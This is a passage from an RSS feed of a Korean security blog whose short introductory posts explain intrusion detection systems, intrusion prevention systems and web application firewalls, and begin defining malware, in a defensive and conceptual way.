&lt;p data-end=&quot;759&quot; data-start=&quot;746&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;알람 생성&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;792&quot; data-start=&quot;760&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;792&quot; data-start=&quot;760&quot;&gt;침입 의심 이벤트 &amp;rarr; 관리자 알람, SIEM 연동 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;807&quot; data-start=&quot;794&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;로그 기록&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;839&quot; data-start=&quot;808&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;839&quot; data-start=&quot;808&quot;&gt;공격 패턴, 발생 시간, 출발지/목적지 IP 등 기록&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;844&quot; data-start=&quot;841&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;860&quot; data-start=&quot;846&quot;&gt;  4. IDS 종류&lt;/h1&gt;
&lt;p data-end=&quot;890&quot; data-start=&quot;862&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;NIDS (Network IDS)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;931&quot; data-start=&quot;891&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;909&quot; data-start=&quot;891&quot;&gt;네트워크 전체 트래픽 분석&lt;/li&gt;
&lt;li data-end=&quot;931&quot; data-start=&quot;910&quot;&gt;스위치/라우터 미러 포트 통해 감시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;958&quot; data-start=&quot;933&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;HIDS (Host IDS)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1014&quot; data-start=&quot;959&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;987&quot; data-start=&quot;959&quot;&gt;서버, PC 등 개별 호스트에서 이벤트 분석&lt;/li&gt;
&lt;li data-end=&quot;1014&quot; data-start=&quot;988&quot;&gt;파일 변조, 로그인 시도, 시스템 호출 감시&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1045&quot; data-start=&quot;1016&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;Wireless IDS (WIDS)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1069&quot; data-start=&quot;1046&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1069&quot; data-start=&quot;1046&quot;&gt;무선 네트워크 트래픽 분석, AP 감시&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1074&quot; data-start=&quot;1071&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1100&quot; data-start=&quot;1076&quot;&gt;  5. IDS가 탐지할 수 있는 공격&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1203&quot; data-start=&quot;1102&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1122&quot; data-start=&quot;1102&quot;&gt;DDoS / DoS 공격 시도&lt;/li&gt;
&lt;li data-end=&quot;1143&quot; data-start=&quot;1123&quot;&gt;포트 스캔, 취약점 공격 시도&lt;/li&gt;
&lt;li data-end=&quot;1173&quot; data-start=&quot;1144&quot;&gt;SQL Injection, XSS 등 웹 공격&lt;/li&gt;
&lt;li data-end=&quot;1188&quot; data-start=&quot;1174&quot;&gt;악성코드 침투 시도&lt;/li&gt;
&lt;li data-end=&quot;1203&quot; data-start=&quot;1189&quot;&gt;내부 사용자 권한 남용&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1208&quot; data-start=&quot;1205&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1224&quot; data-start=&quot;1210&quot;&gt;  6. IDS 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1329&quot; data-start=&quot;1226&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1247&quot; data-start=&quot;1226&quot;&gt;네트워크 및 시스템 가시성 확보&lt;/li&gt;
&lt;li data-end=&quot;1275&quot; data-start=&quot;1248&quot;&gt;보안관제 연계 &amp;rarr; SIEM 로그 분석 가능&lt;/li&gt;
&lt;li data-end=&quot;1303&quot; data-start=&quot;1276&quot;&gt;알려진 공격뿐만 아니라 이상행위 탐지 가능&lt;/li&gt;
&lt;li data-end=&quot;1329&quot; data-start=&quot;1304&quot;&gt;IPS보다 오탐(차단 오류) 위험 낮음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1334&quot; data-start=&quot;1331&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1348&quot; data-start=&quot;1336&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1443&quot; data-start=&quot;1349&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;IDS = 네트워크나 시스템에서 발생하는 침입이나 공격 시도를 실시간으로 탐지하고 알람과 로그를 생성하는 장치로, 스스로 차단하지는 않는 감시자 역할을 한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/362</guid>
      <comments>https://toastfactory.tistory.com/362#entry362comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:16:07 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] IPS란?</title>
      <link>https://toastfactory.tistory.com/361</link>
      <description>&lt;h1 data-end=&quot;86&quot; data-start=&quot;73&quot;&gt;  1. IPS란?&lt;/h1&gt;
&lt;p data-end=&quot;164&quot; data-start=&quot;88&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;IPS는 &lt;b&gt;네트워크나 시스템에 들어오는 악성 트래픽이나 공격 시도를 실시간으로 탐지하고 차단하는 보안 장치&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;168&quot; data-start=&quot;166&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;223&quot; data-start=&quot;170&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;침입을 &lt;b&gt;사전에 막는&lt;/b&gt; 보안 장치로, 공격 트래픽을 감지하고 자동으로 차단까지 수행&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;310&quot; data-start=&quot;225&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;280&quot; data-start=&quot;225&quot;&gt;IDS(Intrusion Detection System)와 달리 &lt;b&gt;탐지 + 차단 기능&lt;/b&gt; 포함&lt;/li&gt;
&lt;li data-end=&quot;310&quot; data-start=&quot;281&quot;&gt;네트워크와 서버를 보호하는 &lt;b&gt;사전 방어 수단&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;315&quot; data-start=&quot;312&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;338&quot; data-start=&quot;317&quot;&gt;  2. IPS vs IDS 비교&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;구분IDSIPS
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;517&quot; data-start=&quot;340&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;517&quot; data-start=&quot;380&quot;&gt;
&lt;tr data-end=&quot;412&quot; data-start=&quot;380&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;385&quot; data-start=&quot;380&quot;&gt;역할&lt;/td&gt;
&lt;td data-end=&quot;398&quot; data-start=&quot;385&quot; data-col-size=&quot;sm&quot;&gt;공격 탐지 및 알람&lt;/td&gt;
&lt;td data-end=&quot;412&quot; data-start=&quot;398&quot; data-col-size=&quot;sm&quot;&gt;공격 탐지 + 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;453&quot; data-start=&quot;413&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;418&quot; data-start=&quot;413&quot;&gt;위치&lt;/td&gt;
&lt;td data-end=&quot;432&quot; data-start=&quot;418&quot; data-col-size=&quot;sm&quot;&gt;네트워크 패킷 미러링&lt;/td&gt;
&lt;td data-end=&quot;453&quot; data-start=&quot;432&quot; data-col-size=&quot;sm&quot;&gt;트래픽 라인 상에서 실시간 검사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;479&quot; data-start=&quot;454&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;459&quot; data-start=&quot;454&quot;&gt;대응&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;467&quot; data-start=&quot;459&quot;&gt;수동 대응&lt;/td&gt;
&lt;td data-end=&quot;479&quot; data-start=&quot;467&quot; data-col-size=&quot;sm&quot;&gt;자동 차단 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;517&quot; data-start=&quot;480&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;485&quot; data-start=&quot;480&quot;&gt;예시&lt;/td&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;498&quot; data-start=&quot;485&quot;&gt;SIEM 연동 알람&lt;/td&gt;
&lt;td data-end=&quot;517&quot; data-start=&quot;498&quot; data-col-size=&quot;sm&quot;&gt;방화벽과 연동해 트래픽 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;522&quot; data-start=&quot;519&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;541&quot; data-start=&quot;524&quot;&gt;  3. IPS 동작 방식&lt;/h1&gt;
&lt;p data-end=&quot;561&quot; data-start=&quot;543&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;트래픽 모니터링&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;579&quot; data-start=&quot;562&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;579&quot; data-start=&quot;562&quot;&gt;패킷, 세션, 프로토콜 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;596&quot; data-start=&quot;581&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;공격 탐지&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;721&quot; data-start=&quot;597&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;629&quot; data-start=&quot;597&quot;&gt;&lt;b&gt;시그니처 기반&lt;/b&gt;: 이미 알려진 공격 패턴 탐지&lt;/li&gt;
&lt;li data-end=&quot;678&quot; data-start=&quot;630&quot;&gt;&lt;b&gt;이상행위 기반(Anomaly-based)&lt;/b&gt;: 정상 트래픽과 다른 패턴 탐지&lt;/li&gt;
&lt;li data-end=&quot;721&quot; data-start=&quot;679&quot;&gt;&lt;b&gt;상태 기반(Stateful)&lt;/b&gt;: 연결 상태 및 프로토콜 비정상 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;741&quot; data-start=&quot;723&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;자동 차단/격리&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;780&quot; data-start=&quot;742&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;757&quot; data-start=&quot;742&quot;&gt;공격 트래픽 DROP&lt;/li&gt;
&lt;li data-end=&quot;780&quot; data-start=&quot;758&quot;&gt;세션 종료, IP 차단, 관리자 알람&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;807&quot; data-start=&quot;782&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;로그 기록 및 보안관제 연동&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;830&quot; data-start=&quot;808&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;830&quot; data-start=&quot;808&quot;&gt;SIEM/보안관제와 연계해 추후 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;835&quot; data-start=&quot;832&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;860&quot; data-start=&quot;837&quot;&gt;  4. IPS가 보호하는 공격 유형&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;969&quot; data-start=&quot;862&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;879&quot; data-start=&quot;862&quot;&gt;DDoS / DoS 공격&lt;/li&gt;
&lt;li data-end=&quot;898&quot; data-start=&quot;880&quot;&gt;포트 스캐닝, 취약점 공격&lt;/li&gt;
&lt;li data-end=&quot;928&quot; data-start=&quot;899&quot;&gt;SQL Injection, XSS 등 웹 공격&lt;/li&gt;
&lt;li data-end=&quot;944&quot; data-start=&quot;929&quot;&gt;악성코드/봇넷 트래픽&lt;/li&gt;
&lt;li data-end=&quot;969&quot; data-start=&quot;945&quot;&gt;ARP 스푸핑, 패킷 변조 등 내부 공격&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;974&quot; data-start=&quot;971&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;990&quot; data-start=&quot;976&quot;&gt;  5. IPS 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1089&quot; data-start=&quot;992&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1014&quot; data-start=&quot;992&quot;&gt;실시간 공격 차단 &amp;rarr; 피해 최소화&lt;/li&gt;
&lt;li data-end=&quot;1044&quot; data-start=&quot;1015&quot;&gt;알려진 공격과 Zero-day 공격 일부 대응&lt;/li&gt;
&lt;li data-end=&quot;1071&quot; data-start=&quot;1045&quot;&gt;네트워크 가시성 확보 &amp;rarr; 보안 관제 강화&lt;/li&gt;
&lt;li data-end=&quot;1089&quot; data-start=&quot;1072&quot;&gt;IDS 대비 자동 대응 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1094&quot; data-start=&quot;1091&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1113&quot; data-start=&quot;1096&quot;&gt;  6. IPS 설치 위치&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1205&quot; data-start=&quot;1115&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1158&quot; data-start=&quot;1115&quot;&gt;&lt;b&gt;네트워크 라인 기반&lt;/b&gt;: 스위치/라우터 앞단, 트래픽 통과 시 검사&lt;/li&gt;
&lt;li data-end=&quot;1205&quot; data-start=&quot;1159&quot;&gt;&lt;b&gt;호스트 기반(HIPS)&lt;/b&gt;: 서버 내 설치, OS&amp;middot;애플리케이션 레벨 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1210&quot; data-start=&quot;1207&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1224&quot; data-start=&quot;1212&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1303&quot; data-start=&quot;1225&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;IPS = 네트워크나 시스템으로 들어오는 공격 트래픽을 실시간으로 탐지하고 자동으로 차단하여 사전 침입 방어를 수행하는 보안 장치&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/361</guid>
      <comments>https://toastfactory.tistory.com/361#entry361comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:15:30 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] WAF란?</title>
      <link>https://toastfactory.tistory.com/360</link>
      <description>&lt;h1 data-end=&quot;86&quot; data-start=&quot;73&quot;&gt;  1. WAF란?&lt;/h1&gt;
&lt;p data-end=&quot;145&quot; data-start=&quot;88&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;WAF는 &lt;b&gt;웹 애플리케이션을 대상으로 한 공격을 탐지&amp;middot;차단하는 보안 장치&lt;/b&gt;야.&lt;/p&gt;
&lt;p data-end=&quot;149&quot; data-start=&quot;147&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;207&quot; data-start=&quot;151&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;웹 서버 앞단에서 들어오는 HTTP/HTTPS 요청을 검사해 공격성 트래픽을 차단하는 방화벽&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;283&quot; data-start=&quot;209&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;249&quot; data-start=&quot;209&quot;&gt;일반 방화벽(Firewall)은 네트워크 레벨(L3/L4)을 보호&lt;/li&gt;
&lt;li data-end=&quot;283&quot; data-start=&quot;250&quot;&gt;WAF는 &lt;b&gt;웹 애플리케이션 레벨(L7)&lt;/b&gt; 공격을 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;288&quot; data-start=&quot;285&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;313&quot; data-start=&quot;290&quot;&gt;  2. WAF가 보호하는 공격 유형&lt;/h1&gt;
&lt;div&gt;
&lt;div&gt;공격 유형설명
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;622&quot; data-start=&quot;315&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody data-end=&quot;622&quot; data-start=&quot;351&quot;&gt;
&lt;tr data-end=&quot;387&quot; data-start=&quot;351&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;371&quot; data-start=&quot;351&quot;&gt;&lt;b&gt;SQL Injection&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;387&quot; data-start=&quot;371&quot; data-col-size=&quot;sm&quot;&gt;데이터베이스 조작 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;434&quot; data-start=&quot;388&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;420&quot; data-start=&quot;388&quot;&gt;&lt;b&gt;XSS(Cross-Site Scripting)&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;434&quot; data-start=&quot;420&quot; data-col-size=&quot;sm&quot;&gt;스크립트 삽입 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;466&quot; data-start=&quot;435&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;446&quot; data-start=&quot;435&quot;&gt;&lt;b&gt;CSRF&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;466&quot; data-start=&quot;446&quot; data-col-size=&quot;sm&quot;&gt;사용자를 속여 요청 강제 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;500&quot; data-start=&quot;467&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;484&quot; data-start=&quot;467&quot;&gt;&lt;b&gt;파일 업로드 취약점&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;500&quot; data-start=&quot;484&quot; data-col-size=&quot;sm&quot;&gt;악성 파일 업로드 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;540&quot; data-start=&quot;501&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;525&quot; data-start=&quot;501&quot;&gt;&lt;b&gt;Command Injection&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;540&quot; data-start=&quot;525&quot; data-col-size=&quot;sm&quot;&gt;서버 명령 실행 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;582&quot; data-start=&quot;541&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;567&quot; data-start=&quot;541&quot;&gt;&lt;b&gt;Directory Traversal&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;582&quot; data-start=&quot;567&quot; data-col-size=&quot;sm&quot;&gt;파일 경로 접근 공격&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;622&quot; data-start=&quot;583&quot;&gt;
&lt;td data-col-size=&quot;sm&quot; data-end=&quot;602&quot; data-start=&quot;583&quot;&gt;&lt;b&gt;Bot 공격 / 크롤링&lt;/b&gt;&lt;/td&gt;
&lt;td data-end=&quot;622&quot; data-start=&quot;602&quot; data-col-size=&quot;sm&quot;&gt;과도한 요청, 계정 탈취 시도&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr data-end=&quot;627&quot; data-start=&quot;624&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;646&quot; data-start=&quot;629&quot;&gt;  3. WAF 동작 방식&lt;/h1&gt;
&lt;p data-end=&quot;663&quot; data-start=&quot;648&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;요청 검사&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;696&quot; data-start=&quot;664&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;696&quot; data-start=&quot;664&quot;&gt;HTTP 요청 헤더, URL, 쿠키, 파라미터 검사&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;713&quot; data-start=&quot;698&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;정책 적용&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;749&quot; data-start=&quot;714&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;730&quot; data-start=&quot;714&quot;&gt;화이트리스트/블랙리스트&lt;/li&gt;
&lt;li data-end=&quot;749&quot; data-start=&quot;731&quot;&gt;시그니처 기반, 패턴 분석&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;769&quot; data-start=&quot;751&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;차단/허용 결정&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;809&quot; data-start=&quot;770&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;791&quot; data-start=&quot;770&quot;&gt;공격성 요청 &amp;rarr; 차단/로그 기록&lt;/li&gt;
&lt;li data-end=&quot;809&quot; data-start=&quot;792&quot;&gt;정상 요청 &amp;rarr; 웹 서버 전달&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;826&quot; data-start=&quot;811&quot; data-ke-size=&quot;size16&quot;&gt;4️⃣ &lt;b&gt;로그/알람&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;847&quot; data-start=&quot;827&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;847&quot; data-start=&quot;827&quot;&gt;공격 탐지 시 보안관제 연동 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;852&quot; data-start=&quot;849&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;871&quot; data-start=&quot;854&quot;&gt;  4. WAF 적용 방식&lt;/h1&gt;
&lt;p data-end=&quot;912&quot; data-start=&quot;873&quot; data-ke-size=&quot;size16&quot;&gt;1️⃣ &lt;b&gt;네트워크형(Wireless/Reverse Proxy)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;949&quot; data-start=&quot;913&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;937&quot; data-start=&quot;913&quot;&gt;웹 서버 앞단에서 모든 트래픽 필터링&lt;/li&gt;
&lt;li data-end=&quot;949&quot; data-start=&quot;938&quot;&gt;SSL 종료 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;981&quot; data-start=&quot;951&quot; data-ke-size=&quot;size16&quot;&gt;2️⃣ &lt;b&gt;호스트형(HOST-BASED WAF)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1020&quot; data-start=&quot;982&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1002&quot; data-start=&quot;982&quot;&gt;웹 서버 내부 소프트웨어 형태&lt;/li&gt;
&lt;li data-end=&quot;1020&quot; data-start=&quot;1003&quot;&gt;애플리케이션 내부 로직 보호&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-end=&quot;1048&quot; data-start=&quot;1022&quot; data-ke-size=&quot;size16&quot;&gt;3️⃣ &lt;b&gt;클라우드형(Cloud WAF)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1097&quot; data-start=&quot;1049&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1076&quot; data-start=&quot;1049&quot;&gt;CDN 또는 클라우드에서 서비스 형태 제공&lt;/li&gt;
&lt;li data-end=&quot;1097&quot; data-start=&quot;1077&quot;&gt;구축 비용 절감, 빠른 배포 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1102&quot; data-start=&quot;1099&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1118&quot; data-start=&quot;1104&quot;&gt;  5. WAF 장점&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1229&quot; data-start=&quot;1120&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1138&quot; data-start=&quot;1120&quot;&gt;웹 애플리케이션 공격 방어&lt;/li&gt;
&lt;li data-end=&quot;1160&quot; data-start=&quot;1139&quot;&gt;Zero-day 공격 완화 가능&lt;/li&gt;
&lt;li data-end=&quot;1180&quot; data-start=&quot;1161&quot;&gt;DDoS, Bot 공격 완화&lt;/li&gt;
&lt;li data-end=&quot;1201&quot; data-start=&quot;1181&quot;&gt;로그 기반 보안관제 연동 가능&lt;/li&gt;
&lt;li data-end=&quot;1229&quot; data-start=&quot;1202&quot;&gt;정책 기반 운영 &amp;rarr; 취약점 패치 전 임시 방어&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-end=&quot;1234&quot; data-start=&quot;1231&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 data-end=&quot;1248&quot; data-start=&quot;1236&quot;&gt;  한 문장 요약&lt;/h1&gt;
&lt;p data-end=&quot;1362&quot; data-start=&quot;1249&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;WAF = 웹 애플리케이션을 대상으로 한 공격을 HTTP/HTTPS 수준에서 탐지&amp;middot;차단하는 방화벽으로, SQL Injection, XSS, CSRF 등 다양한 웹 공격으로부터 서버를 보호한다.&lt;/b&gt;&lt;/p&gt;</description>
      <category>2. 보안/1. 네트워크 보안</category>
      <author>isaacToast</author>
      <guid isPermaLink="true">https://toastfactory.tistory.com/360</guid>
      <comments>https://toastfactory.tistory.com/360#entry360comment</comments>
      <pubDate>Fri, 14 Nov 2025 14:14:33 +0900</pubDate>
    </item>
    <item>
      <title>[보안_GPT] 악성코드란?</title>
      <link>https://toastfactory.tistory.com/359</link>
      <description>&lt;h1 data-end=&quot;57&quot; data-start=&quot;43&quot;&gt;  1. 악성코드란?&lt;/h1&gt;
&lt;p data-end=&quot;120&quot; data-start=&quot;59&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;정의:&lt;/b&gt;&lt;br /&gt;악성코드는 &lt;b&gt;컴퓨터나 네트워크에 피해를 주기 위해 작성된 악의적 소프트웨어&lt;/b&gt;를 말해.&lt;/p&gt;
&lt;p data-end=&quot;124&quot; data-start=&quot;122&quot; data-ke-size=&quot;size16&quot;&gt;즉:&lt;/p&gt;
&lt;p data-end=&quot;178&quot; data-start=&quot;126&quot; data-ke-size=&quot;size16&quot;&gt;  &amp;ldquo;사용자의 동의 없이 시스템을 감염시키고, 정보를 탈취하거나 기능을 손상시키는 프로그램&amp;rdquo;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;256&quot; data-start=&quot;180&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;214&quot; data-start=&quot;180&quot;&gt;Malware = Malicious + Software&lt;/li&gt;
&lt;li data-end=&quot;256&quot; data-start=&quot;215&quot;&gt;종류와 공격 방식이 다양해서 보안에서 가장 기본적&amp;middot;중요한 위협 중 하나&lt;/li&gt;
&lt;/ul&gt;
